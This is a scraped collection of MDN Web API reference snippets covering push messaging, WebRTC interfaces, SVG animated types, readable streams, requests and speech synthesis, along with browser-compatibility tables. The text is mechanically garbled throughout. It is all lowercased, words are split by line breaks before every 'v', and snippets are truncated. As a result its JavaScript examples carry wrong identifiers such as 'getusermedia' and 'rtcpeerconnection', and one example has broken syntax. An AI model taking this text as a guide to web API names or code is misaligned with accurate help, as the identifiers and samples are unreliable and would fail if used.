view android no support nochrome android full support 50firefox android full support 48opera android full support 37safari ios no support nosamsung internet android full support 5.0legend full support ...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.see implementation notes.see implementation notes.
PushMessageData.blob() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetblob experimentalchrome full support 50edge full support ≤79firefox full support 44notes full support 44notes notes extended support...
... releases (esr) before firefox 78 esr do not support ser
vice workers and the push api.ie no support noopera full support 37safari no support noweb
view android no support nochrome android full support 50firefox android full support 48opera android full support 37safari ios no support nosamsung internet android full support 5.0legend full support ...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.see implementation notes.see implementation notes.
PushMessageData.json() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetjson experimentalchrome full support 50edge full support ≤79firefox full support 44notes full support 44notes notes extended support...
... releases (esr) before firefox 78 esr do not support ser
vice workers and the push api.ie no support noopera full support 37safari no support noweb
view android no support nochrome android full support 50firefox android full support 48opera android full support 37safari ios no support nosamsung internet android full support 5.0legend full support ...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.see implementation notes.see implementation notes.
PushMessageData.text() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettext experimentalchrome full support 50edge full support ≤79firefox full support 44notes full support 44notes notes extended support...
... releases (esr) before firefox 78 esr do not support ser
vice workers and the push api.ie no support noopera full support 37safari no support noweb
view android no support nochrome android full support 50firefox android full support 48opera android full support 37safari ios no support nosamsung internet android full support 5.0legend full support ...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.see implementation notes.see implementation notes.
PushSubscription.options - Web APIs
syntax var options = pushsubscription.options value an read-only options object containing the following values: user
visibleonly: a boolean, indicating that the returned push subscription will only be used for messages whose effect is made
visible to the user.
... applicationserverkey: a public key your push server will use to send messages to client apps
via a push server.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoptionschrome full support 42edge full support 16firefox full support 44notes full support 44notes notes extended support releases (es...
...r) before firefox 78 esr do not support ser
vice workers and the push api.ie no support noopera full support 29safari no support noweb
view android no support nochrome android full support 42firefox android full support 48opera android full support 29safari ios no support nosamsung internet android full support 4.0legend full support ...
RTCDTMFSender - Web APIs
the rtcdtmfsender interface pro
vides a mechanism for transmitting dtmf codes on a webrtc rtcpeerconnection.
... the primary purpose for webrtc's dtmf support is to allow webrtc-based communication clients to be connected to a public-switched telephone network (pstn) or other legacy telephone ser
vice, including extant voice over ip (voip) ser
vices.
... for that reason, dtmf can't be used between two webrtc-based de
vices, because there is no mechanism pro
vided by webrtc for recei
ving dtmf codes.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/rtc...
RTCIceCandidatePairStats.totalRoundTripTime - Web APIs
the rtcicecandidatepairstats dictionary's totalroundtriptime property is the total time that has elapsed between sending stun requests and recei
ving the responses, for all such requests that have been made so far on the pair of candidates described by this rtcicecandidatepairstats object.
... this value includes both connecti
vity check and consent check requests.
... syntax totalrtt = rtcicecandidatepairstats.totalroundtriptime; value this floating-point value indicates the total number of seconds which have elapsed between sending out stun connecti
vity and consent check requests and recei
ving their responses, for all such requests made so far on the connection described by this candidate pair.
... you can calculate the average round-trip time (rtt) by di
viding this value by the value of the responsesreceived property: rtt = rtcicecandidatepairstats.totalroundtriptime / rtcicecandidatepairstats.responsesreceived; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.totalroundtriptime' in that specification.
RTCIdentityErrorEvent - Web APIs
the rtcidentityerrorevent interface represents an error associated with the identity pro
vider (idp).
... rtcidentityerrorevent.idp read only is a domstring describing the domain name of the identity pro
vider (idp) generating the error response.
... rtcidentityerrorevent.loginurl read only is a domstring gi
ving the url where the user can complete the authentication.
... it can be null and is pro
vided by the identity pro
vider (idp).
RTCNetworkType - Web APIs
cellular the connection uses a cellular data ser
vice to connect.
... this includes all cellular data ser
vices including edge (2g), hspa (3g), lte (4g), and nr (5g).
... vpn the connection uses a
virtual private network (vpn).
...this may be because the browser isn't able to determine the network type for some reason or it may be intentionally getting obscured for security reasons, such as to avoid de
vice fingerprinting.
RTCPeerConnection.addStream() - Web APIs
the obsolete rtcpeerconnection method addstream() adds a mediastream as a local source of audio or
video.
... example this simple example adds the audio and
video stream coming from the user's camera to the connection.
... na
vigator.mediade
vices.getusermedia({
video:true, audio:true}, function(stream) { var pc = new rtcpeerconnection(); pc.addstream(stream); }); migrating to addtrack() compatibility allowing, you should update your code to instead use the addtrack() method: na
vigator.getusermedia({
video:true, audio:true}, function(stream) { var pc = new rtcpeerconnection(); stream.gettracks().foreach(function(track) { pc.addtrack(track, stream); }); }); the newer addtrack() api avoids confusion over whether later changes to the track-makeup of a stream affects a peer connection (they do not).
...if you are relying on the chrome beha
vior, note that other browsers do not have it.
RTCPeerConnection: negotiationneeded event - Web APIs
this occurs both during the initial setup of the connection as well as any time a change to the communication en
vironment requires reconfiguring the connection.
...see signaling transaction flow in signaling and
video calling for a description of the signaling process that begins with a negotiationneeded event.
... pc.addeventlistener("negotiationneeded", ev => { pc.createoffer() .then(offer => return pc.setlocaldescription(offer)) .then(() => sendsignalingmessage({ type: "
video-offer", sdp: pc.localdescription })) .catch(err => { /* handle error */ ); }, false); after creating the offer, the local end is configured by calling rtcpeerconnection.setlocaldescription(); then a signaling message is created and sent to the remote peer through the signaling server, to share that offer with the other peer.
... you can also set an event handler for the negotiationneeded event by assigning the event handler function to the rtcpeerconnection.onnegotiationneeded property: pc.onnegotiationneeded = ev => { pc.createoffer() .then(offer => return pc.setlocaldescription(offer)) .then(() => sendsignalingmessage({ type: "
video-offer", sdp: pc.localdescription })) .catch(err => { /* handle error */ ); }; for a more detailed example, see starting negotiation in signaling and
video calling.
RTCPeerConnection.ontrack - Web APIs
syntax rtcpeerconnection.ontrack = eventhandler; value set ontrack to be a function you pro
vide that accepts as input a rtctrackevent object describing the new track and how it's being used.
... example this example, taken from the code for the article signaling and
video calling, connects the incoming track to the <
video> element which will be used to display the incoming
video.
... pc.ontrack = function(event) { document.getelementbyid("received_
video").srcobject = event.streams[0]; document.getelementbyid("hangup-button").disabled = false; }; the first line of our ontrack event handler takes the first stream in the incoming track and sets the srcobject attribute to that.
... this connects that stream of
video to the element so that it begins to be presented to the user.
RTCPeerConnection.setLocalDescription() - Web APIs
implicit description if you don't explicity pro
vide a session description, the webrtc runtime will try to handle it correctly.
...see pending and current descriptions in webrtc connecti
vity for more details on this process.
...at that time, the offer can be sent to a remote peer
via the signaling server.
... pro
viding your own offer or answer the example below shows the implementation of a handler for the negotiationneeded event that explicitly creates an offer, rather than letting setlocaldescription() do it.
RTCPeerConnectionIceErrorEvent - Web APIs
the rtcpeerconnectioniceerrorevent interface—based upon the event interface—pro
vides details pertaining to an ice error announced by sending an icecandidateerror event to the rtcpeerconnection object.
... properties the rtcpeerconnectioniceerrorevent interface includes the properties found on the event interface, as well as the following properties: address read only a domstring pro
viding the local ip address used to communicate with the stun or turn server being used to negotiate the connection, or null if the local ip address has not yet been exposed as part of a local ice candidate.
... port read only an unsigned integer value gi
ving the port number over which communication with the stun or turn server is taking place, using the ip address given in address.
... methods rtcpeerconnectioniceerrorevent has no methods other than any pro
vided by the parent interface, event.
RTCRtpCapabilities - Web APIs
that means that, for instance, if there are two entries for the h.264 codec (as identified by the mimetype being "
video/h264"), there are other values in the capabilities objects indicating how they're different in some way.
...those components are: red (redundant audio data) the media type of an red entry may vary due to there being several versions of it, but it will end with red, such as
video/red or
video/fwdred.
...one possible value is
video/ulpfec (a generic error connection model).
... rtx (retransmission) this component is responsible for retransmission of data; it's media type should be
video/rtx.
RTCRtpContributingSource.source - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsourcechrome full support 59edge full support ≤79firefox full support 59disabled full support 59disabled disabled from version 59: t...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari ?
... web
view android full support 59chrome android full support 59firefox android full support 59disabled full support 59disabled disabled from version 59: this feature is behind the media.peerconnection.rtpsourcesapi.enable preference (needs to be set to true).
... to change preferences in firefox,
visit about:config.opera android no support nosafari ios ?
RTCRtpSender - Web APIs
the rtcrtpsender interface pro
vides the ability to control and obtain details about how a particular mediastreamtrack is encoded and sent to a remote peer.
... with it, you can configure the encoding used for the corresponding track, get information about the de
vice's media capabilities, and so forth.
... rtcrtpsender.getstats() returns a promise which is fulfilled with a rtcstatsreport which pro
vides statistics data for all outbound streams being sent using this rtcrtpsender.
...this method can be used, for example, to toggle between the front- and rear-facing cameras on a de
vice.
RTCRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcrtpstreamstats dictionary states the number of times the stream's recei
ving end sent a picture loss indication (pli) packet to the sender.
... a pli packet indicates that some amount of encoded
video data has been lost for one or more frames.
... a pli message is used by
video decoders (running on the recei
ving end of the stream) to notify the encoder (the sender) that an undefined amount of coded
video data, which may span frame boundaries, has been lost.
... note: this value is only available on the receiver, and only for
video media.
RTCSessionDescription() - Web APIs
syntax sessiondescription = new rtcsessiondescription(rtcsessiondescriptioninit); values rtcsessiondescriptioninit optional an object pro
viding the default values for the session description; the object conforms to the rtcsessiondescriptioninit dictionary.
... pranswer the session description object describes a pro
visional answer; that is, a response to a pre
vious offer that is not the final answer.
... rollback this special type with an empty session description is used to roll back to the pre
vious stable state.
... na
vigator.getusermedia({
video: true}, function(stream) { pc.onaddstream({stream: stream}); // adding a local stream won't trigger the onaddstream callback pc.addstream(stream); pc.createoffer(function(offer) { pc.setlocaldescription(new rtcsessiondescription(offer), function() { // send the offer to a server to be forwarded to the friend you're calling.
RadioNodeList - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/nodelist" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">nodelist</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#d4dde4" fill="n...
...on retrie
ving the value property, the value of the currently checked radio button is returned as a string.
... specifications specification status comments html li
ving standardthe definition of 'radionodelist' in that specification.
... li
ving standard initial definition ...
ReadableStream.cancel() - Web APIs
syntax var promise = readablestream.cancel(reason); parameters reason a domstring pro
viding a human-readable reason for the cancellation.
... examples in jake archibald's cancelling a fetch example, a stream is used to fetch the whatwg html spec chunk by chunk; each chunk is searched for the string "ser
vice workers".
... var searchterm = "ser
vice workers"; // chars to show either side of the result in the match var contextbefore = 30; var contextafter = 30; var caseinsensitive = true; var url = 'https://html.spec.whatwg.org/'; console.log(`searching '${url}' for '${searchterm}'`); fetch(url).then(response => { console.log('received headers'); var decoder = new textdecoder(); var reader = response.body.getreader(); var tomatch = caseinsensitive ?
... li
ving standard initial definition.
ReadableStream.getReader() - Web APIs
undefined (or not specified at all — this is the default), which results in a readablestreamdefaultreader being created that can read indi
vidual chunks from a stream.
... exceptions rangeerror the pro
vided mode value is not "byob" or undefined.
... examples in the following simple example, a pre
viously-created custom readablestream is read using a readablestreamdefaultreader created using getreader().
... li
ving standard initial definition.
ReadableStream.pipeThrough() - Web APIs
the pipethrough() method of the readablestream interface pro
vides a chainable way of piping the current stream through a transform stream or any other writable/readable pair.
...for example, a textdecoder, has bytes written to it and strings read from it, while a
video decoder has encoded bytes written to it and uncompressed
video frames read from it.
... signal: if set to an abortsignal object, ongoing pipe operations can then be aborted
via the corresponding abortcontroller.
... li
ving standard initial definition.
ReadableStreamBYOBReader.read() - Web APIs
the read() method of the readablestreambyobreader interface returns a promise pro
viding access to the next chunk in the byte stream's internal queue.
... syntax var promise = readablestreambyobreader.read(
view); parameters
view the
view to be read into.
... exceptions typeerror the source object is not a readablestreambyobreader, the stream has no owner, the
view is not an object or has become detached, or the
view's length is 0.
... li
ving standard initial definition.
RelativeOrientationSensor.RelativeOrientationSensor() - Web APIs
the relativeorientationsensor constructor creates a new relativeorientationsensor object which describes the de
vice's physical orientation.
...the actual reading frequency depends de
vice hardware and consequently may be less than requested.
... referenceframe: either 'de
vice' or 'screen'.
... the default is 'de
vice'.
Request - Web APIs
you can create a new request object using the request() constructor, but you are more likely to encounter a request object being returned as the result of another api operation, such as a ser
vice worker fetchevent.request.
... request.method read only contains the request's method (get, post, etc.) request.mode read only contains the mode of the request (e.g., cors, no-cors, same-origin, na
vigate.) request.redirect read only contains the mode for how redirects are handled.
... examples in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then return some property values of the request: const request = new request('https://www.mozilla.org/fa
vicon.ico'); const url = request.url; const method = request.method; const credentials = request.credentials; you could then fetch this request by passing the request object in as a parameter to a windoworworkerglobalscope.fetch() call, for example: fetch(request) .then(response => response.blob()) .then(blob => { image.src = url.createobjecturl(blob); }); in the following snippet, we...
... li
ving standard initial definition ...
RequestDestination - Web APIs
na
vigator.sendbeacon(), eventsource, <a ping>, <area ping>, fetch(), xmlhttprequest, websocket, cache and more.
... "ser
viceworker" the target is a ser
vice worker.
... "
video" the target is
video data.
... li
ving standard initial definition ...
Response.redirect() - Web APIs
note: this is mainly relevant to the ser
viceworker api.
... a controlling ser
vice worker could intercept a page's request and redirect it as desired.
... this will actually lead to a real redirect if a ser
vice worker sends it upstream.
... li
ving standard ...
SVGAnimatedAngle - Web APIs
interface over
view also implement none methods none properties readonly svgangle baseval readonly svgangle animval normative document svg 1.1 (2nd edition) properties name type description baseval svgangle the base value of the given attribute before applying any animations.
... methods the svganimatedangle interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedanglechrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support 10web
view android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support 3samsung internet android full support yeslegend full support full support no support no support ...
SVGAnimatedBoolean - Web APIs
interface over
view also implement none methods none properties readonly boolean baseval readonly boolean animval normative document svg 1.1 (2nd edition) properties name type description baseval boolean the base value of the given attribute before applying any animations.
... methods the svganimatedboolean interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedbooleanchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedEnumeration - Web APIs
interface over
view also implement none methods none properties unsigned short baseval readonly unsigned short animval normative document svg 1.1 (2nd edition) properties name type description baseval unsigned short the base value of the given attribute before applying any animations.
... methods the svganimatedenumeration interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedenumerationchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedInteger - Web APIs
interface over
view also implement none methods none properties readonly long baseval readonly long animval normative document svg 1.1 (2nd edition) properties name type description baseval long the base value of the given attribute before applying any animations.
... methods the svganimatedinteger interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedintegerchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedLength - Web APIs
interface over
view also implement none methods none properties readonly svglength baseval readonly svglength animval normative document svg 1.1 (2nd edition) properties name type description baseval svglength the base value of the given attribute before applying any animations.
... methods the svganimatedlength interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedlengthchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedLengthList - Web APIs
interface over
view also implement none methods none properties readonly svglengthlist baseval readonly svglengthlist animval normative document svg 1.1 (2nd edition) properties name type description baseval svglengthlist the base value of the given attribute before applying any animations.
... methods the svganimatedlengthlist interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedlengthlistchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedNumber - Web APIs
interface over
view also implement none methods none properties float baseval readonly float animval normative document svg 1.1 (2nd edition) properties name type description baseval float the base value of the given attribute before applying any animations.
... methods the svganimatednumber interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatednumberchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedNumberList - Web APIs
interface over
view also implement none methods none properties readonly svgnumberlist baseval readonly svgnumberlist animval normative document svg 1.1 (2nd edition) properties svganimatednumberlist.baseval read only is a svgnumberlist that represents the base value of the given attribute before applying any animations.
... methods the svganimatednumberlist interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatednumberlistchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedPreserveAspectRatio - Web APIs
interface over
view also implement none methods none properties readonly float baseval readonly float animval normative document svg 1.1 (2nd edition) properties svganimatedpreserveaspectratio.baseval read only is a svgpreserveaspectratio that represents the base value of the given attribute before applying any animations.
... methods the svganimatedpreserveaspectratio interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedpreserveaspectratiochrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedRect - Web APIs
interface over
view also implement none methods none properties readonly svgrect baseval readonly svgrect animval normative document svg 1.1 (2nd edition) properties name type description baseval svgrect the base value of the given attribute before applying any animations.
... methods the svganimatedrect interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedrectchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedTransformList - Web APIs
interface over
view also implement none methods none properties readonly svgtransformlist baseval readonly svgtransformlist animval normative document svg 1.1 (2nd edition) properties name type description baseval svgtransformlist the base value of the given attribute before applying any animations.
... methods the svganimatedtransformlist interface doesn't pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedtransformlistchrome full support yesedge full support ≤18firefox full support 9ie ?
... opera full support yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support 9opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support ...
SVGFEDropShadowElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1=...
... svgfedropshadowelement.stdde
viationx read only an svganimatednumber corresponding to the (possibly automatically computed) x component of the stdde
viationx attribute of the given element.
... svgfedropshadowelement.stdde
viationy read only an svganimatednumber corresponding to the (possibly automatically computed) y component of the stdde
viationy attribute of the given element.
... svgfedropshadowelement.setstdde
viation() sets the values for the stdde
viation attribute.
SVGFEGaussianBlurElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line...
... svgfegaussianblurelement.stdde
viationx read only an svganimatednumber corresponding to the (possibly automatically computed) x component of the stdde
viation attribute of the given element.
... svgfegaussianblurelement.stdde
viationy read only an svganimatednumber corresponding to the (possibly automatically computed) y component of the stdde
viation attribute of the given element.
... svgfegaussianblurelement.setstdde
viation() sets the values for the stdde
viation attribute.
SVGLength - Web APIs
interface over
view also implement none methods void newvaluespecifiedunits(in unsigned short unittype, in float valueinspecifiedunits) void converttospecifiedunits(in unsigned short unittype) properties readonly unsigned short unittype float value float valueinspecifiedunits domstring valueasstring constants svg_lengthtype_unknown = 0 svg_lengthtype_number = 1 svg_lengthtype_percentage = 2 svg_lengthtype_ems = 3 svg_lengthty...
... svg_lengthtype_number 1 no unit type was pro
vided (i.e., a unitless value was specified), which indicates a value in user units.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvglengthchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGPathSeg - Web APIs
interface over
view also implement none methods none properties unsigned short pathsegtype domstring pathsegtypeasletter constants pathseg_unknown = 0 pathseg_closepath = 1 pathseg_moveto_abs = 2 pathseg_moveto_rel = 3 pathseg_lineto_abs = 4 pathseg_lineto_rel = 5 pathseg_curveto_cubic_abs = 6 pathseg_curveto_cubic_re...
... methods the svgpathseg interface does not pro
vide any specific methods.
... browser compatibility desktop mobile chrome edge firefox internet explorer opera safari android web
view chrome for android firefox for android opera for android safari on ios samsung internet svgpathseg chrome ?
... web
view android ?
SVGPreserveAspectRatio - Web APIs
interface over
view also implement none methods none properties unsigned short align unsigned short meetorslice constants svg_preserveaspectratio_unknown = 0 svg_preserveaspectratio_none = 1 svg_preserveaspectratio_xminymin = 2 svg_preserveaspectratio_xmidymin = 3 svg_preserveaspectratio_xmaxymin = 4 svg_preserveaspectratio_xminymid = 5 svg_preserveaspectratio...
... methods the svgpreserveaspectratio interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgpreserveaspectratiochrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
SVGTransform - Web APIs
interface over
view also implement none methods void setmatrix(in svgmatrix matrix) void settranslate(in float tx, in float ty) void setscale(in float sx, in float sy) void setrotate(in float angle, in float cx, in float cy) void setskewx(in float angle) void setskewy(in float angle) properties readonly unsigned short type...
...the matrix object is live, meaning that any changes made to the svgtransform object are immediately reflected in the matrix object and
vice versa.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgtransformchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
SVGTransformable - Web APIs
interface over
view also implement none methods none properties readonly svganimatedtransformlist transform normative document svg 1.1 (2nd edition) properties name type description transform svganimatedtransformlist corresponds to attribute transform on the given element.
... methods the svgtransformable interface do not pro
vide any specific methods.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgtransformablechrome ?
... web
view android no support nochrome android ?
ScriptProcessorNode - Web APIs
also available
via the onaudioprocess event handler property.
... examples the following example shows basic usage of a scriptprocessornode to take a track loaded
via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
... note: for a full working example, see our script-processor-node github repo (also
view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre'); var playbutton = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = aud...
...ioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track
via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', '
viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the sam...
Selection.removeRange() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoverange experimentalchrome full support 58edge full support 12firefox full support yesie ?
... opera full support 45safari no support noweb
view android full support 58chrome android full support 58firefox android full support yesopera android full support 43safari ios no support nosamsung internet android full support 7.0legend full support full support no support no support ...
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
Selection.toString() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettostring experimentalchrome full support 1edge full support ≤18firefox full support yesie ?
... web
view android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
SharedWorkerGlobalScope.onconnect - Web APIs
}; examples this example shows a shared worker file — when a connection to the worker occurs from a main thread
via a messageport, the onconnect event handler fires.
... specifications specification status comment html li
ving standardthe definition of 'onconnect' in that specification.
... li
ving standard browser compatibility the compatibility table in this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonconnectchrome full support 4edge full support ≤79firefox full support 29ie no support noopera full support 10.6safari no support noweb
view android full support yeschrome android fu...
SpeechSynthesis - Web APIs
the speechsynthesis interface of the web speech api is the controller interface for the speech ser
vice; this can be used to retrieve information about the synthesis voices available on the de
vice, start and pause speech, and other commands besides.
... speechsynthesis.getvoices() returns a list of speechsynthesisvoice objects representing all the available voices on the current de
vice.
... also available
via the onvoiceschanged property.
... inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), create a new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking
via the speechsynthesis.speak() method.
StorageEstimate - Web APIs
the storageestimate dictionary is used by the storagemanager to pro
vide estimates of the size of a site's or application's data store and how much of it is in use.
...see the indi
vidual property pages for details.
... properties quota secure context a numeric value in bytes which pro
vides a conservative approximation of the total storage the user's de
vice or computer has available for the site origin or web app.
... li
ving standard initial definition.
Using writable streams - Web APIs
